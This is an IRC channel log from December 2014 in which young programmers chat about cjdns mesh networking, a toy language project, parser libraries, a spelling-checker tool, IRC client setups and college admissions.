[2014-12-15T01:59:51-0500] <Tamini_> and awe: its not nice to call people spambots
[2014-12-15T01:59:56-0500] <@awe> I wasn't calling him one!
[2014-12-15T01:59:56-0500] <Tamini_> also dont scare this one away :P
[2014-12-15T02:00:02-0500] <@awe> He PM'd me about cjdns.
[2014-12-15T02:00:11-0500] <Pharyngeal> Who is jacobedelman
[2014-12-15T02:00:16-0500] <Pharyngeal> I'm not that person
[2014-12-15T02:00:28-0500] <@awe> No, he probably invited you here.
[2014-12-15T02:00:38-0500] <@awe> He's in HS Hackers.
[2014-12-15T02:01:29-0500] <Pharyngeal> No, I don't think so. I somehow remember getting to your personal website, which listed something about decentralization, and thought you may be interested.
[2014-12-15T02:01:36-0500] <Pharyngeal> I'm trying to recall how I came across that though
[2014-12-15T02:02:30-0500] <Tamini_> LOL
[2014-12-15T02:02:35-0500] <Tamini_> awe you're being stalked
[2014-12-15T02:02:51-0500] <@awe> Perhaps GitHub?
[2014-12-15T02:02:59-0500] <@awe> Tamini_: the website is there for a reason.
[2014-12-15T02:03:00-0500] <Pharyngeal> Erm, did you ask people to look at your personal website or something in one of the HH groups?
[2014-12-15T02:03:07-0500] <@awe> I don't think so.
[2014-12-15T02:03:13-0500] <@awe> If I did, it would've been a long while ago.
[2014-12-15T02:03:15-0500] <Tamini_> :P
[2014-12-15T02:03:29-0500] <Tamini_> i still think jacob linked it
[2014-12-15T02:03:50-0500] <@awe> cjdns seems interesting.
[2014-12-15T02:04:25-0500] <Pharyngeal> awe: Hmm, maybe something Rust related? idk. 
[2014-12-15T02:04:41-0500] <@awe> I've got the IRC crate.
[2014-12-15T02:04:43-0500] <@awe> Maybe that?
[2014-12-15T02:05:26-0500] <Pharyngeal> Maybe?
[2014-12-15T02:05:45-0500] <Pharyngeal> I've been studying for finals for the last few days, so I'm a bit out of it apparently.
[2014-12-15T02:05:52-0500] <@awe> https://github.com/aaronweiss74/irc
[2014-12-15T02:05:54-0500] <@awe> Does this look familiar? 
[2014-12-15T02:07:33-0500] <Pharyngeal> A little bit, but I don't think that was it
[2014-12-15T02:07:47-0500] <Pharyngeal> awe: Did you comment on a fbook post asking what the best tool for developer collaboration was?
[2014-12-15T02:08:28-0500] <@awe> Almost certainly not.
[2014-12-15T02:08:55-0500] <Pharyngeal> lol
[2014-12-15T02:08:58-0500] <Pharyngeal> Then I have no idea
[2014-12-15T02:09:12-0500] <Pharyngeal> I remember seeing a comment somewhere about a lot of HS Hackers people being here. 
[2014-12-15T02:09:31-0500] <Pharyngeal> Alternatively, maybe they linked to irc.pdgn, and I looked to see what was at pdgn (which is your page)
[2014-12-15T02:09:46-0500] <@awe> That would've been Jacob.
[2014-12-15T02:09:49-0500] <@awe> Jacob would make that comment.
[2014-12-15T02:10:08-0500] <Pharyngeal> Ah, maybe that was it then
[2014-12-15T02:10:16-0500] <@awe> And yeah, I host this server on the same server as my website.
[2014-12-15T02:10:38-0500] <@awe> I'll probably make a splash page to point pdgn.co to at some point.
[2014-12-15T02:12:33-0500] <Pharyngeal> I apparently have no recollection of how I actually got here. Huh.
[2014-12-15T02:12:51-0500] <Pharyngeal> Anyway, you should look into cjdns when you have some free time
[2014-12-15T02:18:20-0500] <@awe> It seems interesting, but details that are not about the internals seem scarce.
[2014-12-15T02:19:02-0500] <Pharyngeal> awe: What sort of details?
[2014-12-15T02:19:54-0500] <@awe> Oh, I found it on project meshnet.
[2014-12-15T02:24:16-0500] <Pharyngeal> Alright, I have an exam tomorrow so I have to catch some zzzs, but I'll be around tomorrow if you're interested in joining
[2014-12-15T02:30:52-0500] <@awe> Pharyngeal: I just don't understand how this is something I can use, I think.
[2014-12-15T02:31:47-0500] <Pharyngeal> awe: Well, it means that when you connect to other services over the network, they are encrypted on the network level, rather than the protocol level (which is frequently really useful)
[2014-12-15T02:32:22-0500] <@awe> No, I get that.
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[2014-12-15T06:30:41-0500] <JacobEdelman> hmmm... I logged out at 11:52pm
[2014-12-15T06:31:06-0500] <JacobEdelman> (automaticaly. I left the computer much eaier)
[2014-12-15T06:31:12-0500] <JacobEdelman> right around when hardmath123 
[2014-12-15T06:31:18-0500] <JacobEdelman> seems to have figured out
[2014-12-15T06:31:29-0500] <JacobEdelman> that I misspelled interpreter in several places 
[2014-12-15T06:31:43-0500] <JacobEdelman> (I found out last night from my brother)
[2014-12-15T06:32:38-0500] <JacobEdelman> awe: ps, gnarly can mean really cool
[2014-12-15T06:32:48-0500] <JacobEdelman> and the tests.js file is the only really ugly file
[2014-12-15T06:35:35-0500] <JacobEdelman> also
[2014-12-15T06:35:43-0500] <JacobEdelman> some of the notes are meant to only be notes to myself
[2014-12-15T06:37:03-0500] <JacobEdelman> the reason I appear to be reinventing lisp is just for testing purposes
[2014-12-15T06:37:04-0500] <JacobEdelman> as it was easier to code
[2014-12-15T06:37:20-0500] <JacobEdelman> but the "lisp" part is only like, 7 lines
[2014-12-15T06:37:26-0500] <JacobEdelman> of code in lark
[2014-12-15T06:37:56-0500] <JacobEdelman> there is no code in the actual interpreter that is meant to parse lisp or anything
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[2014-12-15T11:40:35-0500] <alokpathy> Tamini: How are you spending your birthday? :P
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[2014-12-15T12:58:34-0500] <nezorg> Tamini: happy birthday!
[2014-12-15T12:58:38-0500] <nezorg> gimme your btc addr
[2014-12-15T13:11:30-0500] <@awe> JacobEdelman: I meant gnarly as in gross.
[2014-12-15T13:12:09-0500] <@awe> JacobEdelman: and no, you're rewriting lisp because your goal is to write lisp.
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[2014-12-15T13:27:07-0500] Topic is Pidgey is on GitHub: http://git.io/caK7Kg
[2014-12-15T13:27:07-0500] Set by Pidgey on December 4, 2014 at 1:18:14 PM EST
[2014-12-15T13:12:09-0500] <@awe> JacobEdelman: and no, you're rewriting lisp because your goal is to write lisp.
[2014-12-15T13:27:07-0500] Mode is +ns
[2014-12-15T13:27:35-0500] <@awe> JacobEdelman: your stated goal is to make a language that can mutate itself, but lisp already exists.
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[2014-12-15T15:31:43-0500] <JacobEdelman> awe: youre gonna be so jealous
[2014-12-15T15:31:49-0500] <JacobEdelman> ben is making a reddit account
[2014-12-15T15:31:58-0500] <JacobEdelman> because he was offered a badge
[2014-12-15T15:32:19-0500] <@awe> JacobEdelman: for what?
[2014-12-15T15:32:33-0500] <@awe> And why would I be jealous? I don't use reddit.
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[2014-12-15T16:47:05-0500] <JacobEdelman> awe, I thought you did
[2014-12-15T16:47:12-0500] <JacobEdelman> for contributing to the source
[2014-12-15T17:49:31-0500] <@awe> JacobEdelman: I have a reddit account. I barely use it.
[2014-12-15T17:49:41-0500] <@awe> JacobEdelman: And if contributing to the source gets you a badge, I could go do that, too.
[2014-12-15T18:00:59-0500] <nezorg> ooooh
[2014-12-15T18:01:09-0500] <nezorg> charli xcx's new album is out today
[2014-12-15T18:01:29-0500] <nezorg> like the one pop artist I like
[2014-12-15T18:01:52-0500] <@awe> nezorg: https://en.wikibooks.org/wiki/Write_Yourself_a_Scheme_in_48_Hours
[2014-12-15T18:02:40-0500] <nezorg> > implying I haven't written myself a scheme
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[2014-12-15T18:06:58-0500] <@awe> nezorg: lol, well, I think it's cool.
[2014-12-15T18:07:12-0500] <nezorg> alright, I'll take a look :P
[2014-12-15T18:08:00-0500] <nezorg> I cheated and used parsec
[2014-12-15T18:08:07-0500] <nezorg> ...oh this guide uses parsec too
[2014-12-15T18:11:45-0500] <@awe> Yeah.
[2014-12-15T18:11:49-0500] <@awe> Parsec is ninja as hell.
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[2014-12-15T19:31:29-0500] <alokpathy> Tamini: usaco too hard
[2014-12-15T19:31:36-0500] <alokpathy> JacobEdelman: ^
[2014-12-15T20:12:58-0500] hardmath123[zzz] is now known as hardmath123
[2014-12-15T20:13:11-0500] <JacobEdelman> I fixed the major lark complaints
[2014-12-15T20:13:15-0500] <JacobEdelman> also
[2014-12-15T20:13:16-0500] <JacobEdelman> pop quiz
[2014-12-15T20:13:33-0500] <JacobEdelman> what are your favourite github repositories?
[2014-12-15T20:13:40-0500] <JacobEdelman> (that was addressed to everybody)
[2014-12-15T20:14:45-0500] <+hardmath123> https://github.com/mappum/gitbanner
[2014-12-15T20:15:02-0500] <+hardmath123> (because you asked 'github repository', not 'git repository')
[2014-12-15T20:31:55-0500] <JacobEdelman> I meant repository on github
[2014-12-15T20:34:15-0500] <@awe> hardmath123: lol that's cool
[2014-12-15T20:35:14-0500] <@awe> JacobEdelman: why'd you fork a ton of things today?
[2014-12-15T20:35:43-0500] <@awe> JacobEdelman: all Ben did was commit a spelling fix to reddit? .-.
[2014-12-15T20:36:35-0500] <@awe> JacobEdelman: you still don't put spaces around your operators and shit.
[2014-12-15T20:37:51-0500] <+hardmath123> We need to force-feed JacobEdelman some JSLint.
[2014-12-15T20:38:00-0500] <@awe> JacobEdelman: you comment a ton, but your comments aren't really helpful.
[2014-12-15T20:38:17-0500] <@awe> /The join_parsers function takes two parser functions and returns a function that ...
[2014-12-15T20:38:19-0500] <@awe> I'd like to point out
[2014-12-15T20:38:29-0500] <@awe> This sort of description is exactly what a TYPE SYSTEM IS FOR.
[2014-12-15T20:40:13-0500] <@awe> Also, @ both JacobEdelman and hardmath123: regex for parsing makes me sad.
[2014-12-15T20:42:44-0500] <+hardmath123> awe: I don't regex to parse...I sort of maintain a powerful parser generator library for that.
[2014-12-15T20:43:00-0500] <@awe> Your library uses regex?
[2014-12-15T20:43:38-0500] <+hardmath123> no (but you can use regexey charsets)
[2014-12-15T20:43:54-0500] <@awe> You can use valid RegExp charsets in a rule:
[2014-12-15T20:43:55-0500] <@awe> Yeah.
[2014-12-15T20:44:10-0500] <@awe> Still makes me sad.
[2014-12-15T20:45:34-0500] <+hardmath123> would you rather type out each valid character?
[2014-12-15T20:47:02-0500] <@awe> Owait, this actually only lets you do A-Za-z and 0-9, right?
[2014-12-15T20:47:35-0500] <@awe> That's not bad then.
[2014-12-15T20:47:55-0500] <@awe> As long as you can't do anything else.
[2014-12-15T20:50:05-0500] <+hardmath123> i don't do anything else
[2014-12-15T20:50:18-0500] <@awe> But can someone using nearley do anything else?
[2014-12-15T20:50:21-0500] <+hardmath123> kleene star is compiled down to its BFN equivalent
[2014-12-15T20:50:31-0500] <+hardmath123> what do you mean, "anything else"?
[2014-12-15T20:50:51-0500] <@awe> Can they use regex features that are not just [0-9] or something?
[2014-12-15T20:52:29-0500] <+hardmath123> no, they can't use regex features that are not just charsets
[2014-12-15T20:53:13-0500] <@awe> Okay, that's fine then.
[2014-12-15T20:53:16-0500] <+hardmath123> they *can* use the kleene star and its variants (so a*, a?, a+) but those are compiled into BNF, not evaluated by JS's builtin regexes.
[2014-12-15T20:53:22-0500] <@awe> Although I notice that they're escaped.
[2014-12-15T20:55:05-0500] <+hardmath123> oh, yikes, that may be a bug now that i reread that code
[2014-12-15T20:56:03-0500] <@awe> Anybody know how to set the DPI on Ubuntu 14.10?
[2014-12-15T20:56:16-0500] <+hardmath123> eh, it's fine. those backslash escapes had me scared for a moment
[2014-12-15T20:56:34-0500] <@awe> charR -> [^$=\\\n'] {% function(d){return "'"+d[0]+"'";} %}
[2014-12-15T20:56:40-0500] <@awe> Jacob has that.
[2014-12-15T20:59:38-0500] <+hardmath123> i have no idea
[2014-12-15T20:59:46-0500] <+hardmath123> "'"+d[0]+"'"
[2014-12-15T21:02:20-0500] <JacobEdelman> awe: I support a type system
[2014-12-15T21:02:29-0500] <JacobEdelman> also, I am getting rid of nearley eventually
[2014-12-15T21:02:40-0500] <JacobEdelman> since 90% of lark is a parser anyway
[2014-12-15T21:02:53-0500] <JacobEdelman> I'm reimplementing that bit in lark
[2014-12-15T21:02:54-0500] <JacobEdelman> soon
[2014-12-15T21:02:54-0500] <@awe> Okay, seriously. Why can I not set DPI in Ubuntu?
[2014-12-15T21:03:30-0500] <JacobEdelman> also, fine, I'll learn jslint stuff
[2014-12-15T21:03:53-0500] <JacobEdelman> ... what, just set the resolution?
[2014-12-15T21:04:44-0500] <@awe> No.
[2014-12-15T21:04:47-0500] <@awe> I need to set the DPI.
[2014-12-15T21:04:47-0500] <JacobEdelman> also, awe, I've been forking tons of things
[2014-12-15T21:04:53-0500] <JacobEdelman> cause I've been correcting spelling errors
[2014-12-15T21:04:58-0500] <JacobEdelman> in rust
[2014-12-15T21:05:03-0500] <JacobEdelman> in node.js
[2014-12-15T21:05:17-0500] <JacobEdelman> in nasa's mct
[2014-12-15T21:05:20-0500] <@awe> You haven't made a single commit to your forks.
[2014-12-15T21:05:45-0500] <JacobEdelman> github automaticaly puts it into the patch-1 branch
[2014-12-15T21:05:50-0500] <JacobEdelman> so, not the main one
[2014-12-15T21:05:52-0500] <JacobEdelman> the fixes are there
[2014-12-15T21:06:00-0500] <JacobEdelman> (the rust people agree)
[2014-12-15T21:06:09-0500] <JacobEdelman> (they saw it so I know it is working)
[2014-12-15T21:08:41-0500] <@awe> Oh, yes.
[2014-12-15T21:08:43-0500] <@awe> I see it.
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[2014-12-15T21:09:55-0500] <@awe> JacobEdelman: but yeah, I need to set the DPI in Ubuntu and it apparently lacks that capability.
[2014-12-15T21:10:18-0500] <JacobEdelman> it can change the resolution
[2014-12-15T21:10:22-0500] <JacobEdelman> if thats what you want
[2014-12-15T21:10:25-0500] <JacobEdelman> in the display settings
[2014-12-15T21:10:35-0500] <@awe> No.
[2014-12-15T21:10:38-0500] <@awe> I want DPI.
[2014-12-15T21:10:41-0500] <JacobEdelman> okay
[2014-12-15T21:10:45-0500] <JacobEdelman> in that case I have no idea
[2014-12-15T21:10:55-0500] <@awe> I'm fairly certain now that it's not possible.
[2014-12-15T21:11:23-0500] <@awe> So, my options are tiny everything or low-res display.
[2014-12-15T21:11:33-0500] <@awe> Or better put: tiny everything or blurry everything.
[2014-12-15T21:12:02-0500] <+hardmath123> JacobEdelman: 
[2014-12-15T21:12:06-0500] <+hardmath123> with all due respect
[2014-12-15T21:12:06-0500] <+hardmath123> https://github.com/JacobEdelman/mct/commit/dfd95f71047f3f98f56df050f775a154f26e205b
[2014-12-15T21:12:17-0500] <+hardmath123> that commit does *not* look like it's fixing a small spelling error
[2014-12-15T21:14:10-0500] <@awe> Wat.
[2014-12-15T21:14:45-0500] <@awe> Which version of python is this supposed to be run on?
[2014-12-15T21:14:49-0500] <@awe> It won't work with python 2.7
[2014-12-15T21:15:21-0500] <The_Master> awe: do you have enchant?
[2014-12-15T21:15:23-0500] <@awe> Yes.
[2014-12-15T21:15:29-0500] <@awe> I needed requests.
[2014-12-15T21:15:31-0500] <@awe> That was the issue.
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[2014-12-15T21:15:55-0500] <@awe> Ben is terrible at describing dependencies.
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[2014-12-15T21:15:58-0500] Pidgey sets mode +v JacobEdelman
[2014-12-15T21:16:10-0500] <@awe> You need requests, pyenchant, AND the C library enchant.
[2014-12-15T21:16:23-0500] <+JacobEdelman> oh, I thought requests was built in to python
[2014-12-15T21:16:24-0500] <+JacobEdelman> bens bad
[2014-12-15T21:17:02-0500] <+hardmath123> it's a bad day when you need wolframalpha to figure out your English grade
[2014-12-15T21:17:25-0500] <+JacobEdelman> hardmath123: I have no idea why that commit is so huge
[2014-12-15T21:17:32-0500] <+JacobEdelman> hardmath123: I'm rather confused about it actually
[2014-12-15T21:17:42-0500] <+hardmath123> JacobEdelman: One word--whitespace.
[2014-12-15T21:17:52-0500] <@awe> Does his editor change whitespace or something?
[2014-12-15T21:18:04-0500] <+JacobEdelman> i didn't use an editor
[2014-12-15T21:18:11-0500] <+JacobEdelman> I used the github online editor
[2014-12-15T21:18:16-0500] <+JacobEdelman> easypeasy I thought
[2014-12-15T21:18:17-0500] <@awe> That's an editor, fool.
[2014-12-15T21:18:20-0500] <+JacobEdelman> yes
[2014-12-15T21:18:26-0500] <+JacobEdelman> but not like an editor editor
[2014-12-15T21:18:31-0500] <+JacobEdelman> its only and editor 
[2014-12-15T21:18:34-0500] <+JacobEdelman> *an
[2014-12-15T21:18:50-0500] <+hardmath123> JacobEdelman: protip--on github, use ?w=i at the end of the URL to ignore whitespace
[2014-12-15T21:19:16-0500] <+hardmath123> it probably converted crlfs 
[2014-12-15T21:19:28-0500] <+hardmath123> no telling how nasa ends their lines
[2014-12-15T21:19:54-0500] <+JacobEdelman> weird
[2014-12-15T21:20:14-0500] <+JacobEdelman> I resisted the urge to start my commit message with "Houston, we have a problem"
[2014-12-15T21:20:24-0500] <@awe> JacobEdelman: this tool doesn't work on contractions
[2014-12-15T21:21:04-0500] <+hardmath123> you mean it deosn't work on contractions
[2014-12-15T21:21:49-0500] <@awe> It reports doesn't as being spelled wrong because it just reads it as doesn
[2014-12-15T21:22:55-0500] <@awe> None of my projects have spelling mistakes according to this.
[2014-12-15T21:23:50-0500] <+JacobEdelman> it only works on certain languages
[2014-12-15T21:23:56-0500] <@awe> Oh.
[2014-12-15T21:23:56-0500] <+JacobEdelman> cause it looks for comments
[2014-12-15T21:24:05-0500] <+hardmath123> is this all because you had a file called "interperter.js"?
[2014-12-15T21:24:07-0500] <+JacobEdelman> so right now it only has js, java, python, php
[2014-12-15T21:24:15-0500] <+JacobEdelman> wait, what?
[2014-12-15T21:24:18-0500] <@awe> That's dumb.
[2014-12-15T21:24:25-0500] <+JacobEdelman> were talking about something entirely different hardmath123
[2014-12-15T21:25:02-0500] <@awe> No, he's right.
[2014-12-15T21:25:09-0500] <@awe> Did this come about because you can't spell, JacobEdelman?
[2014-12-15T21:25:16-0500] <@awe> Is that why Ben wrote this?
[2014-12-15T21:25:37-0500] <@awe> JacobEdelman: also, most languages have the same comment type as Java.
[2014-12-15T21:27:55-0500] <+JacobEdelman> I added rust support
[2014-12-15T21:28:20-0500] <+JacobEdelman> ben would tell you how he wrote this
[2014-12-15T21:28:25-0500] <+JacobEdelman> but pdgn will not let him on
[2014-12-15T21:28:30-0500] <+JacobEdelman> and hes using irc cloud
[2014-12-15T21:30:31-0500] <@awe> JacobEdelman: I just submitted a PR for it.
[2014-12-15T21:30:44-0500] <@awe> You know why IRCCloud probably isn't working?
[2014-12-15T21:30:46-0500] <@awe> Max connections cap.
[2014-12-15T21:31:10-0500] <alokpathy> Oh is that why it didn't work for me on occasion? 
[2014-12-15T21:31:10-0500] <@awe> JacobEdelman: why did you duplicate code for it though?
[2014-12-15T21:31:13-0500] <@awe> alokpathy: Yes.
[2014-12-15T21:31:29-0500] <@awe> JacobEdelman: Rust has /* block comments */ too
[2014-12-15T21:32:22-0500] <@awe> JacobEdelman: you're an idiot.
[2014-12-15T21:32:35-0500] <+JacobEdelman> the docs say it doesn't
[2014-12-15T21:32:40-0500] • Pharyngeal: is back
[2014-12-15T21:32:49-0500] <@awe> It does.
[2014-12-15T21:32:50-0500] <+JacobEdelman> http://doc.rust-lang.org/guide.html#comments
[2014-12-15T21:33:04-0500] <+JacobEdelman> are they wrong... cause than... wow
[2014-12-15T21:33:05-0500] <@awe> The docs don't mention it.
[2014-12-15T21:33:12-0500] <+JacobEdelman> wow
[2014-12-15T21:33:13-0500] <@awe> https://www.dropbox.com/s/fhrxm0sjrut43q8/Screenshot%202014-12-15%2021.32.11.png?dl=0
[2014-12-15T21:33:13-0500] <+JacobEdelman> weird
[2014-12-15T21:33:14-0500] <+JacobEdelman> okay
[2014-12-15T21:34:28-0500] <@awe> JacobEdelman: reopen my PR
[2014-12-15T21:34:31-0500] <@awe> JacobEdelman: revert your commit
[2014-12-15T21:34:33-0500] <@awe> JacobEdelman: and merge it.
[2014-12-15T21:35:59-0500] <+JacobEdelman> done
[2014-12-15T21:36:09-0500] <+JacobEdelman> well, effectively done anyway
[2014-12-15T21:36:32-0500] <+JacobEdelman> awe: max connections for who?
[2014-12-15T21:36:39-0500] <+JacobEdelman> ahh... ben is fixing that
[2014-12-15T21:36:39-0500] <@awe> for IRCCloud.
[2014-12-15T21:36:44-0500] <+JacobEdelman> he was connected to two already
[2014-12-15T21:36:51-0500] <@awe> No, I meant on my server.
[2014-12-15T21:37:50-0500] <+hardmath123> awe: send me a long URL
[2014-12-15T21:37:59-0500] <@awe> hardmath123: how long?
[2014-12-15T21:38:04-0500] <+JacobEdelman> what?
[2014-12-15T21:38:14-0500] <+JacobEdelman> oh, that was sarcasm
[2014-12-15T21:38:14-0500] <+hardmath123> awe: long enough to break in a 100-char-wide irssi session
[2014-12-15T21:38:25-0500] <@awe> http://play.rust-lang.org/?code=%23!%5Bfeature(associated_types)%5D%0A%0Atrait%20Monad%3CT%2C%20U%3E%20%7B%0A%20%20%20%20type%20R%3B%0A%20%20%20%20fn%20bind(self%2C%20%7CT%7C%20-%3E%20%3CSelf%20as%20Monad%3CT%2C%20U%3E%3E%3A%3AR)%20-%3E%20%3CSelf%20as%20Monad%3CT%2C%20U%3E%3E%3A%3AR%3B%0A%20%20%20%20fn%20ret(T)%20-%3E%20Self%3B%0A%7D%0Aimpl%3CT%2C%20U%3E%20Monad%3CT%2C%20U%3E%20for%20Option%3CT%3E%20%7B%0A%20%20%20%20type%20R%20%3D%20Option%3CU%3E%3B%0A%20%20%20%20fn%20
[2014-12-15T21:38:25-0500] <@awe> bind(self%2C%20f%3A%20%7CT%7C%20-%3E%20Option%3CU%3E)%20-%3E%20Option%3CU%3E%20%7B%0A%20%20%20%20%20%20%20%20self.and_then(f)%0A%20%20%20%20%7D%0A%20%20%20%20fn%20ret(val%3A%20T)%20-%3E%20Option%3CT%3E%20%7B%0A%20%20%20%20%20%20%20%20Some(val)%0A%20%20%20%20%7D%0A%7D%0Afn%20main()%20%7B%0A%20%20%20%20let%20foo%20%3D%20Some(5i)%3B%0A%20%20%20%20println!(%22%7B%7D%22%2C%20foo.bind(%7Ck%7C%20Some(k%20%2B%203i)))%3B%0A%7D
[2014-12-15T21:38:33-0500] <+hardmath123> ...not a URL
[2014-12-15T21:38:40-0500] <@awe> JacobEdelman: what was sarcasm?
[2014-12-15T21:38:41-0500] <+JacobEdelman> that was split 
[2014-12-15T21:38:45-0500] <@awe> hardmath123: Yes it is?
[2014-12-15T21:38:46-0500] <+JacobEdelman> sent it via pastebin
[2014-12-15T21:38:57-0500] <@awe> hardmath123: The first one is a URL, the second one is split.
[2014-12-15T21:39:06-0500] <@awe> The fact that it's split doesn't really matter.
[2014-12-15T21:39:13-0500] <@awe> The first part is >100 characters anyway.
[2014-12-15T21:39:35-0500] <+hardmath123> oh, I see
[2014-12-15T21:39:46-0500] <@awe> JacobEdelman: What are you talking about sarcasm?
[2014-12-15T21:39:46-0500] <+hardmath123> i installed a url shortener in my .irssi/scripts
[2014-12-15T21:39:56-0500] <+hardmath123> and it worked
[2014-12-15T21:40:08-0500] <@awe> Cool.
[2014-12-15T21:40:11-0500] <+hardmath123> except, it replaced the url you wrote in-place, which sort of bothers me
[2014-12-15T21:40:19-0500] <@awe> What else would it do?
[2014-12-15T21:40:29-0500] <+hardmath123> (in-place meaning I see "02:38 <@awe> http://bombch.us/t4t (play.rust-lang.org)"
[2014-12-15T21:40:34-0500] <@awe> Yeah.
[2014-12-15T21:40:39-0500] <@awe> That's not surprising.
[2014-12-15T21:40:46-0500] <@awe> Again: what else would it do?
[2014-12-15T21:40:52-0500] <+hardmath123> I would rather have it write another message below with the shortened URL.
[2014-12-15T21:41:06-0500] <+hardmath123> It's personal preference, I guess.
[2014-12-15T21:41:34-0500] <@awe> Personally, I think it's a totally useless feature.
[2014-12-15T21:41:38-0500] <+hardmath123> I feel awkward having my communication filtered by a machine.
[2014-12-15T21:41:41-0500] <@awe> All I'm going to do is click the url anyway.
[2014-12-15T21:41:45-0500] <@awe> Why do I care how long it is?
[2014-12-15T21:42:17-0500] <+hardmath123> Because i'm in a terminal. i can't click URLs
[2014-12-15T21:42:33-0500] <+hardmath123> but Mac's Terminal lets you ctrl-click a non-wrapped URL to open it
[2014-12-15T21:42:42-0500] <alokpathy> awe: Lol just got into UMass Amherst Honors
[2014-12-15T21:42:59-0500] <@awe> alokpathy: YEAH
[2014-12-15T21:43:01-0500] <@awe> alokpathy: DO IT
[2014-12-15T21:43:04-0500] <@awe> alokpathy: COME HERE BABY <3
[2014-12-15T21:43:21-0500] <@awe> alokpathy: Lauren wants you to come, too.
[2014-12-15T21:43:24-0500] <@awe> hardmath123: o lol
[2014-12-15T21:43:48-0500] <alokpathy> awe: LOL This is literally my second decision. I think have to see what else I get into first XD
[2014-12-15T21:44:14-0500] <@awe> hardmath123: use Textual.
[2014-12-15T21:44:19-0500] <@awe> alokpathy: nah, I think you're fine.
[2014-12-15T21:44:23-0500] <@awe> alokpathy: Just go to UMass.
[2014-12-15T21:45:49-0500] <+hardmath123> awe: but then I can't leave IRC open 24/7
[2014-12-15T21:45:58-0500] <@awe> hardmath123: use ZNC
[2014-12-15T21:46:02-0500] <@awe> hardmath123: connect Textual to ZNC
[2014-12-15T21:46:05-0500] <@awe> hardmath123: That's what I do.
[2014-12-15T21:47:21-0500] <+hardmath123> eh, irssi in a tmux session suits me just fine
[2014-12-15T21:57:21-0500] <alokpathy> awe: I'm considering :P
[2014-12-15T21:57:24-0500] <alokpathy> btw tell Lauren I said hi
[2014-12-15T21:57:25-0500] <alokpathy> and soup
[2014-12-15T21:57:34-0500] <alokpathy> because soup is the cool way to say sup these days
[2014-12-15T21:58:06-0500] <@awe> alokpathy: you're going to get into CMU and then not come here.
[2014-12-15T21:58:37-0500] <alokpathy> I'm not so sure about CMU .-.
[2014-12-15T21:59:17-0500] <@awe> Or like UT Austin or something.
[2014-12-15T21:59:43-0500] <alokpathy> Idk if I'd rather go to UT Austin over UMass. I'd have to put thought into it.
[2014-12-15T22:01:15-0500] <@awe> Oh, okay.
[2014-12-15T22:01:57-0500] <alokpathy> So you might see me there next year :P
[2014-12-15T22:03:30-0500] <@awe> Do it.
[2014-12-15T22:09:04-0500] <@awe> [21:32:40] Pharyngeal	is back
[2014-12-15T22:09:06-0500] <@awe> hi Pharyngeal 
[2014-12-15T22:09:17-0500] <Pharyngeal> Hi
[2014-12-15T22:10:31-0500] <Pharyngeal> awe: ^
[2014-12-15T22:10:40-0500] <@awe> I still don't think I have a great understanding of cjdns.
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[2014-12-15T22:13:27-0500] <@awe> hi ben 
[2014-12-15T22:13:38-0500] <ben> Hello.
[2014-12-15T22:13:46-0500] <ben> For some reason, I could not connect to this server on irccloud.
[2014-12-15T22:13:52-0500] <@awe> I think I know why.
[2014-12-15T22:14:08-0500] <@awe> [21:30:44]  <@awe>	You know why IRCCloud probably isn't working?
[2014-12-15T22:14:08-0500] <@awe> [21:30:46]  <@awe>	Max connections cap.
[2014-12-15T22:14:20-0500] <@awe> ben: My server limits the maximum number of connections from an endpoint to three.
[2014-12-15T22:14:47-0500] <ben> Ah. The endpoint would be my IP address, then?
[2014-12-15T22:15:01-0500] <@awe> Well, in the case of IRCCloud, it would've been the IRCCloud server.
[2014-12-15T22:15:13-0500] alokpathy has userhost uid15876@pdgn-5ih.9lf.7cuf9e.IP and real name "Alok Tripathy"
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[2014-12-15T22:15:18-0500] <@awe> alokpathy: is on uxbridge.
[2014-12-15T22:15:31-0500] <ben> That doesn't sound like a feature to me.
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[2014-12-15T22:15:35-0500] <@awe> JacobEdelman: is on charlton.
[2014-12-15T22:15:39-0500] <@awe> It's not really a feature.
[2014-12-15T22:15:45-0500] <@awe> It's an abuse limiting thing.
[2014-12-15T22:16:37-0500] <@awe> The way most servers get around it is by changing it specifically for IRCCloud.
[2014-12-15T22:16:59-0500] <ben> Well, at some point you should get around to doing that.
[2014-12-15T22:17:08-0500] <Pharyngeal> awe: cjdns allows encrypted mesh networking. Currently, most users are using it to connect nodes over the public internet. But, it also supports connections over other mechanisms, allowing for the creation of true internet-independent mesh networks.
[2014-12-15T22:17:50-0500] <+hardmath123> crud, i went down a rabbit hole 2 hours ago and it's 7pm already
[2014-12-15T22:18:00-0500] <@awe> Pharyngeal: Okay, that's where I was getting confused.
[2014-12-15T22:18:13-0500] <@awe> Pharyngeal: I was like "How do I use this if it's separate from the Internet and no infrastructure is set up around it."
[2014-12-15T22:18:19-0500] <@awe> ben: Yeah, I need to figure out how to do that.
[2014-12-15T22:18:41-0500] <Pharyngeal> awe: Right now, many peers use the internet to connect, but there are a bunch of meshlocals that use radios, etc
[2014-12-15T22:18:47-0500] <@awe> That's really cool.
[2014-12-15T22:19:13-0500] <Pharyngeal> Yes
[2014-12-15T22:19:54-0500] <Pharyngeal> Like https://wiki.projectmeshnet.org/Seattle_Meshnet
[2014-12-15T22:20:28-0500] <nezorg> http://www.smbc-comics.com/?id=3568#comic lol
[2014-12-15T22:21:16-0500] <Pharyngeal> So, awe, if you're ever interested in giving it a go, and joining Hyperboria, I'd be down to peer with you
[2014-12-15T22:21:46-0500] <nezorg> also word of the day http://www.urbandictionary.com/define.php?term=hides*&defid=7992785 wat
[2014-12-15T22:22:46-0500] <@awe> Pharyngeal: does it have its own name service?
[2014-12-15T22:23:07-0500] <Pharyngeal> awe: It did, for a while. I'm not sure what its current status is.
[2014-12-15T22:23:15-0500] <Pharyngeal> There were .hype addresses
[2014-12-15T22:23:21-0500] <@awe> Ah, okay.
[2014-12-15T22:23:45-0500] <nezorg> perhaps I'll start my own dns server one day
[2014-12-15T22:23:48-0500] <nezorg> and own all the .nezorg
[2014-12-15T22:23:56-0500] <nezorg> because I'm just that creative
[2014-12-15T22:24:31-0500] <nezorg> ...I am in a very "I don't give a fuck" mood, interesting
[2014-12-15T22:24:46-0500] <bob_twinkles> Isn't the application process for a gtld like $15k or something like that?
[2014-12-15T22:25:15-0500] <nezorg> bob_twinkles: not on your own dns server!
[2014-12-15T22:25:26-0500] <nezorg> also, I thought it was more like ~100k
[2014-12-15T22:25:32-0500] <bob_twinkles> that's like saying you own all the .local though
[2014-12-15T22:25:41-0500] <nezorg> exactly!
[2014-12-15T22:25:43-0500] <bob_twinkles> sure, you do in your own special world but not to everyone else =P
[2014-12-15T22:25:50-0500] <nezorg> shuddup
